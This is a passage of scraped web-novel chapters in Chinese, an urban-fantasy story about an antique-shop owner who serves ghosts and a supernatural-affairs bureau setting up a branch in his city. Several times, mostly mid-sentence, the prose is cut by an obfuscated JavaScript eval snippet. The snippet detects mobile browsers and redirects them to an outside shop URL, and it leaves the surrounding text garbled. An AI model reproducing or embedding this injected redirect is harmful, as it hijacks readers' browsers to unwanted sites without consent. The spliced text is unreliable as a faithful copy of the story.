还有狐鬼和那几只老鬼,要是真被这个男人给灭了,那他在阴间的名声算是毁了! 乔霖的担心很快被坐实,见势不对跑去捞人的云迹,和抱着背包一脸懵逼的覃塘被几个警察带了出来,那个男人却不知所踪。 “乔哥,你怎么上警车了?”覃塘一溜烟跑过来,“不是你朋友送咱们回去吗?” 乔霖:“?” “你不是被抓的?” “抓什么?”覃塘一头雾水,“刚才你朋友下来找我,说要送我回四方街,我们出来的时候,被搜查停车场的警察问了几句,知道我们不是失踪的人,就把我们送出来了。” “刚才那个男人呢?”乔霖立刻看向云迹,“他干什么去了?” “开车走了啊。”云迹也有点弄不明白现在是什么情况。 他好好在外面呆着,突然就来了几辆警车,下来的警察说是调查失踪一事,又没人进地下停车场。 结果没一会,为首的警察接了个电话,立刻带人冲进停车场里,紧接着乔霖就被带出来上了警车。 回想起乔霖多次进局子又平安无事的经历,云迹当时唯一的念头就是赶紧把覃塘带走,别让一个学生背上进警察局的记录,反正剩下的事乔霖能搞定。 可找到覃塘后的发展有些出乎意料,这些警察好像不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265415|198097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来抓他们的。 走了?这下轮到乔霖犯迷糊了。 那个男人出现时他就知道对方十有八九是异管局的人,不过之前云迹说是大洋商场的股东请过来的,相当于这人接私活。他又拍了那种立场不明的,可以用来当把柄的照片,随便哪种情况被捅出来,都能让这个男人被调查。 结果对方居然毫无顾忌,直接让警察掺和进来,现在还无事一身轻地走了? 那他的酬金呢? 乔霖恍恍惚惚坐在警车里,不明所以的云迹和覃塘打着伞瑟瑟缩缩站在车外,直到把失踪人员全部送上救护车的张宁走过来。 “周景,你跟着救护车去医院看看情况,一会回局里我让值班同事过去换你下班。” 说完又转头看向站在旁边扮演木桩的两人:“站在这里干什么?还不回去?” “那乔霖呢?”云迹满脸希冀,“也跟我们一起走?” “他?”张宁看了眼瞬间支棱起来的青年,“跟我回局里接受思想教育。” 乔霖一秒垮掉。 云迹:“……” 行吧,好歹只是思想教育。 乔霖有气无力靠在椅背上,盯着只剩下几个警察的停车场入口,还有旁边陪同的杨经理。 张宁启动车子,慢悠悠道:“别看了,再看你也不能回去。” “跟你说过多少次了,别搞封建迷信,这下被逮到了吧?” “你说你年纪轻轻的,又有一间铺面,老老实实做买卖不好吗?非得搞这些乱七八糟的东西。” “没人出事算你运气好,真弄出人命,你小子有几条命赔?” “张警官,我没搞封建迷信。”乔霖认真澄清,“毁人心智害人害己,不仅危害国家社会安全,还十分不科学的做法才叫封建迷信,我这是尊重传统民俗文化。” “什么喝符水拿桃枝抽人一类的事我可没干过,您说我一个在社会主义下成长,受过科学知识熏陶,且家里长辈还是荣誉市民获得者的成年人,能信这些吗?” 乔霖说着还装模作样叹了口气:“别看我神神叨叨的,都是为了满足市场和顾客的需求,干古玩这一行,多多少少都得沾点民俗文化。” “我们这一行的顾客是真有人信这些神神鬼鬼的,大洋商场那个杨经理不就是吗?” “看在您这么关心我的份上,我也跟您交个底,赚钱是一回事,底线是一回事,每次遇到认死理,非把生病说成中邪的人,我都是意思意思走个过场安顾客的心,然后让人赶紧给送医院救治去了。” “您也别担心我会耽误人病情,能摸摸索索找到我这边来的,病情多半没严重到进急诊的地步。” 理是这么个理,但张宁不打算听,身为一名人民警察,他不可能用人民群众的生命安全,去赌万分之一可能出现的情况。 所以说一千道一万,还是这小子欠教育。 张宁油盐不进,同车的辅警安静开车,乔霖看了眼手机,确认自己十二点前没法回去睡觉了。 唉,赚钱真难。 5. 第 5 章 西城区派出所里,临时加班的张警官对乔霖进行了长达一个半小时的教育,在对方不知道第几次写下书面检讨后,终于松口放人离开。 满身颓气的青年耷拉着脑袋走出派出所大门,一分钟叹了三口气,才终于摸出裤兜里的手机,扫了一辆路边的共享电车,长腿一跨就往夜市方向驶去。 这个世界太黑暗了,劳务费赚没赚到另说,但是乔霖觉得自己急需一份人间烟火气的鼓励。 南安市的夜晚十分热闹,白天为了生活奔波的人,总会在下班回家歇一会后,再次呼朋唤友聚个餐,对于收入平平的人来说,夜市大排档就是他们最好的选择。 点上一箱啤酒,再要几盘下酒菜,几个人你一言我一语,就能把生活的郁气一扫而空。 又或者聊聊最近朋友圈的八卦,听听隔壁桌的爱恨情仇,总不会让生活如同一潭死水般无趣。 置身于人群中的青年看着身前不断缩短的队伍,耳朵也不闲着,把周围或畅快或愁闷的声音听了个遍。 这是南安市大部分人的生活日常,也是乔霖喜欢的日常。 “我们公司那个走后门来的傻逼主管,光拿钱不干事,属下没来上班都不问,还是办公室的同事打电话了,才发现菲姐一个人在家里发高烧了。” “明天爷爷说要去江边给你钓鱼吃,我说你怀孕闻不得鱼腥味,他又和咱妈念叨,打算去附近村里买两只土鸡给你补补。” “我家婆家公真应了那句话,一个被窝里睡不出两种人,两公婆一辈子抠搜节俭,不舒服还想随便吃药了事,要不是我发现不对劲,叫我老公把人硬拽去医院,这条小命指不定就没了!” “你们今天听到消息了吗?北城区听说有人走在路上摔了,医院都查不出原因,问就是昏迷不醒,都上本地公众号了。” “这有啥,不是加班加的,就是摔跤摔的,说不定摔倒的时候磕到台阶了呢?” “你这人怎么这么天真,能上本地公众号的事情,怎么可能仅此一例?从第一个到现在,已经出现六个了,第九医院每天都准时准点接收一个,第三天医院就发现不对劲了。” “这么玄乎?不会撞鬼了吧?” “去去去,大晚上的胡说八道些什么?” 露天的折叠桌旁,有中年人诉说生活琐事,也有年轻人一阵笑闹,说完之后,又举起杯子碰了碰,冰凉的啤酒入喉,再吃两口下酒菜,又开启了下一个话题。 乔霖听得入神,直到猛烈的香气扑面而来,才堪堪回神。 “靓仔你要什么口味?” “五斤蒜香打包。” 店主手脚麻利地把大锅里的小龙虾装盒,还不忘提醒:“五斤一百,码在这边。” “嘀——” “扫过去了。”乔霖晃了晃付款界面,心思又转回热气腾腾的大锅里。 等他提着小龙虾,骑着共享回到四方街后,发现本该凌晨三点才有客的巷子,已经“人”满为患。 乔霖扫码还车,慢悠悠走进巷子,往常都安静排队的鬼怪今天难得躁动,他看了一眼挂起灯笼的店门,凑到一个身形凝实的阴魂身边:“怎么回事啊老哥?今天来这么早?” “这谁知道?这么没规矩的鬼肯定不是咱们西城区的。”正等得无聊的阴魂顺口接话,“这家店三点才熄灯点火做生意,它们现在挤进店里,也不怕被老陈叔赶出来。” “陈叔脾气挺好的,店门开了不会赶客的。”乔霖给陈叔正了正口碑,这些在人类耳中如风的鬼啸声,并没有影响到他和鬼魂的交流。 “老陈叔可不是什么好性子。”那鬼吊着眼角,笑得颇为瘆人。 乔霖没想争辩,只道:“既然挤在店里的是其他区的鬼,那你们怎么还在这排队?不是没到营业时间吗?” “往常也这样,开没开门无所谓,大家都先把队排上,这叫效率。”那鬼嘿嘿一笑,“老子今天又帮人找到一条狗,据说那人把狗当孩子养,这么算的话,四舍五入就是救了一个人的功德。” 此话一出,队伍前后的鬼怪纷纷扭头,嫉妒地看着得意洋洋的阴魂。 要是这桩功德算数,这只鬼投胎都能减去一两年的排队时间,如果还有别的功德在身上,想去城隍庙当两年阴差也有几分机会。 乔霖的视线在它周身阴气上绕了一圈,便拎着尚且温热的小龙虾溜溜达达往古玩店走去。 原本排在前面,不想让他往前走的鬼怪,从带着水蒸气的塑料袋一路看到乔霖身上,顿时明了。 “活人的吃食,这人就是乔老板吧?我还以为他想插队呢。” “身上一点阴气都没有,肯定是白天做活人生意的乔老板。” “都快两点了吧?乔老板这么晚还没歇息,真少见。” “是啊,看样子是去打包夜宵了。” “活人就是好啊,还能吃上一口热的。” “嘿,乔老板挺会吃,这家的小龙虾味道一绝,我生前一周起码吃四回!” “看样子你也颇有家底啊,一般家庭可不敢这么吃。” “嘿嘿嘿,辛辛苦苦打工,也就好这口了。” 被恭维的鬼魂看着乔霖手上提的小龙虾,颇为怀念,可惜他媳妇最近忙,已经不大记得给他买上一份了。 顶着或好奇或恶意的视线,乔霖一脚踏入店门。 与门外尚有光亮还闷热的夜晚不同,店里一片漆黑且阴凉,七八个形态不一的鬼魂缩头缩脑站在柜台前,听到动静也没敢抬头,站在柜台里的陈叔一手拿着本泛黄的册子,一手提着支毛笔,在上面写着什么。 “确定是外来的恶鬼伤人?” “是的是的,虽然平时大家都呆在各自的地盘,但是咱们多找几个别区的鬼友,也能顺着关系问出来,可是突然出现的这个,完全没有鬼认识。” “伤了几个人?有没有死人?” “这……我们也不清楚是死是伤,反正光看到的就有五次。”回话的鬼斟酌道,“毕竟人倒在地上,万一没死,我们一凑过去,人真死了算谁的?” 陈叔沉吟半晌,提笔写了一句,又问:“那恶鬼长什么样?” “没看清,就是一团灰中带点红的阴气,连个人样都没有,也不知道生前是人是妖。” 陈叔写字的手顿了一下,正把小龙虾往供桌上摆的乔霖也停住了动作。 “确定是灰中带红?” 店里响起另一道声音,排排站的鬼魂不敢好奇,互相紧挨着,一个劲儿点头。 陈叔往供桌方向看了一眼,在光线完全被吞噬的角落里,传出乔霖平静的声音:“恶鬼在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265416|198097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪片区域出现?明天我去看看。” “回乔老板,在北城区。” “北城区……”陈叔眉头一皱,正要说些什么,瞥见前面几只鬼魂,又闭上了嘴。 “陈叔记下吧,明天我过去一趟。”乔霖摆好小龙虾,又从香筒中抽出三炷香点燃,随手插到神龛前的香炉里。 青色的烟顺着点点火光升起,丝丝缕缕往供桌上的神龛飘去。 上好的香混着小龙虾的味,乔霖闻了一鼻子,心满意足道:“正好去李叔家看看发财。” 听到后面那句话,站在柜台里的老人神情不悦,却也知道自己没法左右乔霖的决定,便在册子上写了几笔,语气不耐地下逐客令:“情况记下了,你们该回哪儿去回哪儿去,如果情况属实,年底会上报本地城隍给你们算功德。” 几只鬼魂面上一喜,应了一声,落在最后的一只老鬼还想说什么,却想起店铺不到三点不营业的规矩,又老老实实闭嘴,跟着退出了店铺。 门外挤挤挨挨的鬼魂都在等着三点的钟声响起,店里的老少二人却神色各异,最后还是陈叔先开了口:“明儿你顺便拿两封糕点过去吧,也不知道那个老家伙死没死。” “发财还是别去看了,白天太阳那么大,它见了你指定追着跑回来,等你李叔把它送回来吧。” “张老也没教过你抓鬼的法子,明天如果确认是外来的恶鬼作祟,你回来跟我们说一声就行,巷子里自有人去处理。” “对了,你别……” “陈叔,我知道。”站在神龛前的青年微微叹了口气,打断了老人未停的念叨,“老爷子走之前说的话我都记得,不会乱来的。” “知道就好,知道就好。”陈叔低下头,合上手中的册子,声音又苍老几分,“张老最疼你了。” 张老爷子的本事,接触过的人无一不敬,但凡能学得一星半点,这辈子无论去到哪里都能吃喝不愁,偏偏乔霖这个被他从小带大的孩子,却连碰也碰不得。 除了上学之外,乔霖幼年的闲暇时间,都被老爷子按在店里接受各种各样的思想教育。 十二巷里的各家店主是心疼的,但也没办法,有些事情就是没法改变,即使乔霖对玄学一道很感兴趣,但从他见到老爷子通天本事的那天起,就注定再也学不了了。 “我知道的。”站在神龛前的青年深吸一口气,看着供桌上渐渐冷却的宵夜没了胃口,却能还回忆起肉质弹牙的触感。 他也不执着,伸了个懒腰笑道:“就老爷子花钱如流水的习惯,还能给我留下这家店糊口,我就得感激他一辈子。” “不说了叔,我先去睡觉了。” 挂在墙上的老式自鸣钟发出沉闷的声音,消失在角门处的背影单薄得让人心疼。 站在柜台后的老人无声叹了口气,呆呆看着手中书写过半的册子。 墙上的自鸣钟再次响起时,伫立许久的陈叔才动了动僵硬的躯体,弯腰从柜台底下拿出一支青黑色的香点燃。 一片漆黑的店里,猩红的火光亮起,袅袅青烟向门外飘去,挂在店门两侧的灯笼无风自动,带来一道苍老的声音。 “三点到,鬼门开。” 门外,等待许久的鬼怪纷纷抬头,目光炙热地看向前方。 那是它们所愿皆成的地方。 6. 第 6 章 “乔霖,从小在南安市长大,目前只有小学有入学记录,但没有毕业记录。初高中无入学记录,也未曾参加高考,可是在市一中的学校内网有他在读记录,在西宁大学也有考勤记录,同样没有入学和毕业记录。” “有点奇怪,好像他只是去体验学生生活而已。” “现在他在西城区的四方街里经营一家古玩店,这家店上一任所有者是个叫张老二的人,两人不在同一个户口本上,看不出有什么血缘关系。” “但是从他上小学时填的住址来看,他应该是由张老二抚养长大的,如果二人真的没有血缘关系,这个张老二也应该是他长辈的至交好友。” “父母的信息也查不到,目前能查到的就这些。” 坐在病床上的付文杰盯着抓取到的信息,神色颇为不解地看向坐在椅子上的男人,“哥,这个人有问题?” 付行清看着同步到手机上的信息,闻言轻嗤:“就你查出来的这些东西,你觉得他没问题?” 要不是他多了个心眼,让付文杰黑进南安市所有学校的教务系统,他们连乔霖已经上过大学都不知道。 但凡换个人来,在看到乔霖没有小学毕业记录以及小升初的考试信息时,可能就认为这个人小学肄业了。 “有。”付文杰老实点头,“你是怎么想到让我黑进全市学校的教务系统的?要不然我都没发现这个问题。” 谁家孩子只上学不考试?不考试又怎么能继续去学校上课?如果是家里有钱有关系,只想让孩子体验中式教育,那后面也该送到国外去拿个文凭吧?可是乔霖也没有出省记录。 无论是火车动车还是飞机,都没有乔霖离开南安市的票务信息,签证信息没有,名下车辆住房的信息也没有,只有四方街那一片的店铺放在他名下,也算是个租二代。 而这片店铺的上一任所有人也很让人意外,正是一开始他认为跟乔霖没有血缘关系的张老二。 就因为这个信息,才让他觉得张老二应该是乔霖某位没血缘关系的长辈,或者是乔家长辈的好友。 “动动你的猪脑子。”付行清嘲讽道,“知道现在是几几年吗?知道什么叫九年义务教育吗?” 在南安市这种二线城市,能大手笔买下那么多店铺的家庭,不可能不知道读书的重要性。 即使再抠门,有义务教育的政策压着,谁家有适龄孩子不上学,街道办的人都得上门看看情况。 初中辍学的人有,但是一般都在乡镇上,即使是在乡镇,连小学都没毕业的人如今也十分少见了。 “所以他跟大洋商场鬼打墙一事有关系?”付文杰神色诚恳,目标十分明确,“要不我再申请个权限,从南安市民政局系统再查一查他?” “民政局能查到的信息更详细,再不行,我就申请公安局和教育局的权限、哎哟!” “说你蠢你还显摆上了。”付行清收回手,懒得去看满脸痛苦的弟弟,“能让他入学却不考试不毕业,还能一直上到大学,你以为是普通家庭就能办到的?” “你信不信今天刚把申请打上去,明天一份天衣无缝的个人信息就能出现在这边的政府系统上?” “枉你爸这么精明,怎么就生出你这个没脑子的。” “那也是你爸。”付文杰嘟囔一句。 但是顺着他哥的话一想也反应过来了,那个张老二肯定不止靠收租开店谋生这么简单,普通商人的手可遮不了天。 “算了,我想不明白。”付文杰放弃思考,抱着电脑瘫在床上,“反正大洋商场的事也解决了,我现在就想知道哥你怎么也来南安市了。” 管他什么乔霖张霖,犯了法自有警察管,他只需要管那些鬼怪就行。 付文杰不提还好,一提这件事,脑袋又挨了一下,甚至连他哥怎么动的手都没看清。 “你还好意思问?”付行清冷眼看他,想杀人的心都有了。 “身为京市异管局的人,却在最需要人手的时候接私单,想上审判庭也不用这么麻烦,直接抓只鬼在异管局门口,当着你同事的面勾肩搭背多快啊?连京市都不用出。” “接私单就算了,也不掂量一下自己的能力,怎么,你打算示敌以弱,用言语感化,等那些恶鬼大发善心放你和其他人质出来?” “明知道那群老家伙盯着我,你还眼巴巴拉着我往下跳,你可真是我的好弟弟。” “什么意思?”付文杰有些懵逼,“他们把建立分局的事情强派给你了?” “你说呢?” “我靠!明明是副局说他有个朋友遇上事儿了,但是他分不开身的!”付文杰天都塌了,“你又不是异管局的人,他们凭什么给你派活儿?!” “就凭你这个蠢货是我弟。”付行清看着手机上的消息,额角隐隐胀痛,“你是第一天知道他们想拉我进异管局?” 拒绝了这么多年,这下倒好,也不用去报道了,直接在外地建一个分局,连派来的人手都审批好了。 不干也行,就是他的蠢弟弟估计要上审判庭走一趟了。 想起那个又是局长又是审判长的老东西,付行清觉得眼前这个蠢货一旦上了审判庭,不仅挡不住对方话里暗藏的陷阱,也无法安然无恙走出审判庭的大门。 以他对付文杰的了解,副局让他帮忙的事,多半拿不出工作留痕的证据,要是那些老东西较起真来,最后还是得他出面收拾。 结果都一样。 “哥,我……” “别你你我我的,好好休息吧,明天办完出院就来上班。”付行清起身往外走,“我先去找个住处。” 付文杰:“?” 分局建在南安市? “不对!”他连忙叫住走到门口的男人,“我被外派了?” 他不能每天下班就回家住了?那些用习惯了的朱砂液黄表纸以后都要找京市的朋友代购了吗? “我自由了二十多年的生活都被打破了,你还想独善其身?”付行清回头,俊美的脸上露出一抹邪气的笑,“没弄死你都算我还有点人性。” 付文杰:“……” 不敢吱声。 南安市某处别墅里,终于等到侄子回来的云见真仔细问了今晚的事,当听到有警察出现时,眉心深深蹙起。 异管局的人接私活并不罕见,但是接私活肯定不能以职权动用官方力量,这个被请来的人能让警方同行,说明这件事过了异管局的明路,属于会被官方记录在册的案子。 “到底还是来了……” “什么来了?”云迹有点摸不着头脑,今晚的事好像从他把乔霖送到大洋商场之后,一切发展都与他无关了。 “让你回本家你不回,让你接班你去挖坟。”云见真瞪了他一眼,“你的消息这么滞后,还好意思热心肠去掺和?” “这不是乔霖想赚钱嘛。”云迹不以为耻,笑嘻嘻道,“大洋商场的经理也是给过我新年红包的,既然我有路子,怎么也得帮人想个办法吧?” 云见真气不打一处来,“你去想什么办法?真当我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只要大洋商场的事南安市一直没人能解决,他后面把人捞出来,对方也只当这次外快不好赚,拿了车马费就哪儿来的回哪儿去。 如今人来了,陷进去了,他还没去捞人,南安市就有人把事情给解决了。 对方要是气性大点,估计以为这边民间混饭吃的之前装腔作势拿钱不办事,看到他们一来就给个下马威。 如果是想得多的,或许会觉得异管局的人都解决不了的事,南安市一个二线城市居然有人能解决,这必须得收编啊! 而不巧的是,这两年一直有异管局想建立新分局的风声传来,云见真收到消息后,跟好友们探讨过几次,一致觉得异管局在国内所有一线城市都有分局了,出于一山不能容二虎,以及效率最大化的考虑,下一个分局必定是在二线城市。 现在正好,异管局在职人员搞不定的事,南安市有人能搞定,这里还没有分局的存在,这边吃阴间饭的人也没什么机构管束。 从背地里接私活到能让警察陪同到场,就已经说明了异管局的态度。 云见真睁开眼,看到脸色惨白的侄子,满腔怒火也只剩一口悠长郁气。 “这件事,为什么要让乔小子掺和进来?” 云迹动了动发僵的眼珠,看到叔叔眼里的疲惫,不知所措的张了张口,却不知道该说什么。 云见真自顾自道:“平时小打小闹就随你们去了,可是这次有异管局的人参与,你们怎么敢啊?” “南安市的天,可能要被捅破了。” 一声沉闷的叹息仿佛鼓槌,敲得云迹心头直跳,他却找不出一点蛛丝马迹,也不知道叔叔说的这些话,到底是什么意思。 7. 第 7 章 次日上午七点,守着店铺的陈叔正在核对凌晨的账,突然听到门口打开的声音,他抬头看向角门,平时爱睡懒觉的青年晃悠悠走出来。 “今天起这么早?” “嗯,说好今天去北城区一趟。”乔霖打了个哈欠,一抹水色从眼尾溢出,又被手背揉去。 “昨晚太困了,没来得及跟您说一声大洋商场的情况。” “没事,云家小叔都跟我说了。”陈叔拿起放在柜台的手机晃了晃,眼底有些笑意,“小霖啊,你来店里也有二十年了吧?” 供桌前的青年愣了一下:“到今年是二十年,怎么了?” “没什么,就是张老说的时间快到了。”陈叔眼底的笑意再也藏不住了,“百年之期已到……” “叔,您少看点短剧吧。”乔霖哭笑不得,他把供桌上的贡品换了一遍,边上香边道,“人和妖的约定,这事我记得。” 陈叔不理他的调侃,喜气洋洋道:“遇到你的那年,天地间的气场逐渐清明,张老就预感到百年时间一到,人类与各族生灵之间的界限会变得十分模糊,这正是咱们店铺发展的好时机啊。” “再怎么发展也开不了分店。”乔霖好心提醒,“我可不能离开南安市太久。” 陈叔不以为然:“怕什么,酒香不怕巷子深。” 灵气复苏的事早在二十年前就被除普通人之外的一切存在察觉到了,国家肯定早有预案,否则异管局也不会短短二十年成立这么多分局,还不停收编民间能人异士。 连人类都能察觉,更何况各种天生天养的精怪鬼物? 一想到伴随着各种生意成交带来的功德,别说陈叔,连乔霖都心动不已。 不过乔霖比较现实一点,“咱们店铺充其量也就是个私营,上面还有异管局这种国家机构,再怎么发展也得小心谨慎,免得被上头盯上。” 想到那些和张老爷子同辈的存在,陈叔也略略收起畅想,“你说的对,我从云家小叔那边听到,异管局已经打算在二线城市开分局了。” “在南安市?” “十有八九。”陈叔高深莫测道,“异管局里的人眼高于顶,都打算下到二线城市了,八成是想把民间的能人异士给收编起来。” “咱们这种野路子的也收编?”乔霖蹙起眉头,“我不想被人管着。” 陈叔立刻哄道:“你不想咱就不凑上去,现在可是法治社会,他们敢强制收编,咱们就能把他们安排下来的事弄得一团糟。” “如果他们睁一只眼闭一只眼,除去利益相关,咱们也不是不能合作,否则当面一套背后一套的事,叔也不是没干过。” 生意人以和为贵,无论异管局态度如何,陈叔都没想过跟对方硬碰硬,但是异管局真想搞强行收编那套,就有必要让这些人知道,他们这些“野路子”能把派下来的事情弄得多糟糕。 “行,这些事您看着办吧。”除去做生意之外,乔霖不喜欢跟人打交道,对于异管局事情,老少二人略聊几句就结束了话题。 看到乔霖完全清醒过来,陈叔问道:“凌晨的账你要不要看一眼?” “行。”乔霖接过册子,软骨头一般躺在躺椅上,“下个月就是中元节了,最近生意还不错。” “是啊。”陈叔满脸喜气,“打算托梦给家人的,想用功德给阳世家人送点偏财的,或者想换点阳间的小玩意的,估计覃记纸扎铺的生意也能跟着涨一大截。” “前阵子覃家老爷子还在为孙子的学费发愁,这下可好,覃塘未来四年的学费生活费都解决了。” “这也是他们家的运道来了。”乔霖淡淡道,“逢百年的中元节和普通中元节到底不一样,所有吃阴间饭的都有不一样的运道。” 陈叔正深以为然,就听到乔霖颇为疑惑的询问:“这一条,之前不是派阴差入梦警告了吗?怎么大洋商场的气场还这么浑浊?” 陈叔低头看去,只见泛黄的册子上,今日凌晨记下的一笔账单,正是徘徊在大洋商场附近的鬼魂寻求压制戾气的器物,而内容相似的生意,一个月前他们已经做过一次了。 登封古玩店做的买卖与常人不太相同,记录的内容也不同于其他生意人的账册。 从起因到所求,再到是否解决,都会一一记录,让人一看便知此桩生意因何而起,结果如何,也更便于常年呆在十二巷的他们了解南安市最近的动态。 此时乔霖的询问,也让陈叔想起一月前的那笔生意。 “当时确实写了表文,拿去城隍庙烧了,也立刻得到了回应,事后受雇于店里的小鬼,也在那些作恶的人的家宅附近,听到了他们后悔的梦呓。” “按理来说阴差入梦比普通厉鬼伤害小些,不会影响那些人的生活才对。” 既然不影响生活,那么早就该着手去处理自己做过的恶,商场怨气自然不会还这么大。 可是同样的情况,如今却出现在另一只鬼魂的请求上,同样是受大洋商场气场所扰,害怕压制不住心里的怨气而伤人。 一月前的那位鬼客,求的是解决大洋商场气场浑浊一事,今日凌晨的这位鬼客,求的是能压制被浑浊气场勾起戾气的东西。 情况看上去好像越来越严重的样子。 乔霖点了点册子,“昨晚覃塘回来的时候,有没有来店里说大洋商场有异常?” 陈叔果断否定:“没有。” “既然没有,就说明平衡阴气阳气时很顺利,没有遇到一方强盛一方势弱的情况。”乔霖指尖划过泛黄的纸张,最后停在今日凌晨第一桩记录上。 记录时间在三点之前,这不是生意,而是结果待定的举报。 “看来北城区得好好查一查了。” 似是想起什么,微微躬身的老人嘴角缓缓压平,声音透着一股冷意:“如果真是咱们猜的那样,估计得请古家大姑娘动一动了。” “我先去看看吧。”乔霖平静道,“古婆婆身体机能老化严重,能不麻烦她老人家最好。” 陈叔微微点头:“这是自然。” 市政府里,把手续一次性办完,还跟这边的领导班子一一打了个照面的付行清,终于赶在中午之前抽身,婉拒了这边市长等人的宴请。 一大早被接出院,在车上等了一个上午的付文杰一边喝着可乐,一边单手在平板上操作软件。 被放大的南安市实景地图出现在屏幕上,左上角标着城区街道,右上角有一个小人的标志,后面跟着一个显眼的数字0。 而屏幕正中间,触目惊心的红色感叹号一闪一闪,不停吸引着浏览者的注意力。 付行清一上车,付文杰连忙道:“哥,北城区黄河路的湖景小区,在四个小时前阴气暴增,据以往监测记录,这个地方已经连续六天出现阴气暴增,每次时间相差不超过十分钟,今天是第七天。” 付行清扣好安全带,一边启动车子,一边询问:“报警记录?” “暂无。”付文杰切换软件,很快把出现异常区域的所有信息整合完毕,“这个小区从七天前开始,每天上班高峰期都有一个人因为昏迷摔倒而送医,截止刚才,这片区域的医院共收治七位病因相同,居住地址同为湖景小区的病人。” 在普通人看来,那些人是意外摔倒或因原因未明的疾病导致昏迷不醒,但是在他们眼里,这些都是因为突然昏迷才摔倒的受害者。 “今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265418|198097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的受害者送医了吗?” “送了。”付文杰调出入院记录,“这家医院是公立医院,跟异管局的系统对接,这种有规律的异常病例已经被上报过来了。” 只不过之前南安市没有异管局的存在,如果其他地区分局的异常警报没有处理完,从优先级来说,他们无法从系统上看到其他城市的警报。 “你们异管总局的技术人员是干什么吃的?”付行清嗤笑一声,“大城市里吃阴间饭的人多如牛毛,缺人去解决?你们宁愿去与民争利也不肯改进一下系统?” “随便一个乡镇派出所都知道根据案情严重性来决定处理的先后顺序,你们这些天天嚷嚷着保国家太平的单位反而倒行逆施?” “啧,真不知道偏远城镇上的人过着怎样水深火热的生活。”付行清说完,又凉凉笑道,“大概是靠那些学了点皮毛的神婆道公,才能以治标不治本的方式,摆脱生活里的异常吧。” 他这一通连讽带骂,把付文杰损得冷汗直流:“哥,现在你也是异管局的。” “可别,我没入总局的任职系统,虽然已经接了这份差事,但是——” 在红灯亮起的路口,车子平稳停在斑马线后,驾驶位的男人转头看向心虚的弟弟,眉眼挑起张扬的弧度,“南安市异管局,是我一个人的地盘。” 不接受总局监管,所有部下都必须以他的意志为中心的地方。 付文杰眼神发直,声音飘忽不定:“哥……你是要,反了天啊?” 眉目俊朗的男人定定看着他,在红灯转绿的前一秒回头启动车子,平静的声音也随之闯入付文杰耳中:“人民才是天。” 在付文杰被这句话震得心跳如雷的时候,在北城区忙活了一个上午的乔霖正抱着一个灰扑扑的瓦罐去捡跑掉的拖鞋,还不忘骂骂咧咧:“天老爷啊,你这狗东西真能跑啊,但凡我七十二伏的电车没换新电池,今天还真让你逃了!” 站在路边阴影处的女人含笑看着他,明明一副年轻貌美的外表,眼里的慈祥却十分明显。 “我说你今天怎么有空来看我,原来是奔着它来的。” “旰姨,我也不想惊动您啊,可是我再晚来几天,这渐成气候的狗东西敢在您地头上撒野!” 乔霖一边说一边把瓦罐晃得出残影,如同风声的鬼啸从一开始的嚣张怒骂变成断断续续的作呕声。 旰发看不下去,不得不出声阻止:“行了,这是我顺手买的酸菜坛子,两块钱一个,再晃估计得裂了。” 刚刚还怒发冲冠的青年立刻把瓦罐稳稳握在手中,仔细检查后才心有余悸道:“这可不能裂,追这狗玩意两小时了,我电车轮胎都快冒烟了。” 甚至昨晚他还没给小电驴充电,刚刚追上这个狗东西的时候他瞄了一眼,剩下的电量可不多了。 从北城区到西城区,中间还隔着一个市中心,说不定一会还得推车走一段才能回到店里。 一想到这个可能,乔霖杀心渐起。 旰发把垂落胸前的卷发拨开,好心提醒:“别对你的功德意见这么大,能抓到它,也算好事一桩。” 可不是么,这只生前作恶,死于人间律法审判却没资格入轮回,明明无法变成恶鬼,却靠着吸收大洋商场怨气初现狠辣的鬼魂,整整涉及古玩店里三桩生意和一起社会新闻。 一想到它背后代表的功德,别说开电车追两个小时,就算让乔霖两条腿来回倒腾狂追八小时,他也心甘情愿。 乔霖的怒气彻底平息了,旰发又道:“事情办完了,那个姓陈的老东西有没有让你带什么话?” 如棉般轻软的语气,让站在小路中间的青年后背发凉,久久不敢开口。 8. 第 8 章 “事情就是这样的。”乔霖老老实实坐在小石凳上,抱着瓦罐十分乖巧,“到时候妖精那边还需要您出面震慑一下,不然南安市估计得起乱子。” 旰发看着桌上两盒糕点,一盒是能噎死人的糯米芝麻沙糕,一盒是软糯粘牙的花生芝麻糍粑,都是自己爱吃的。 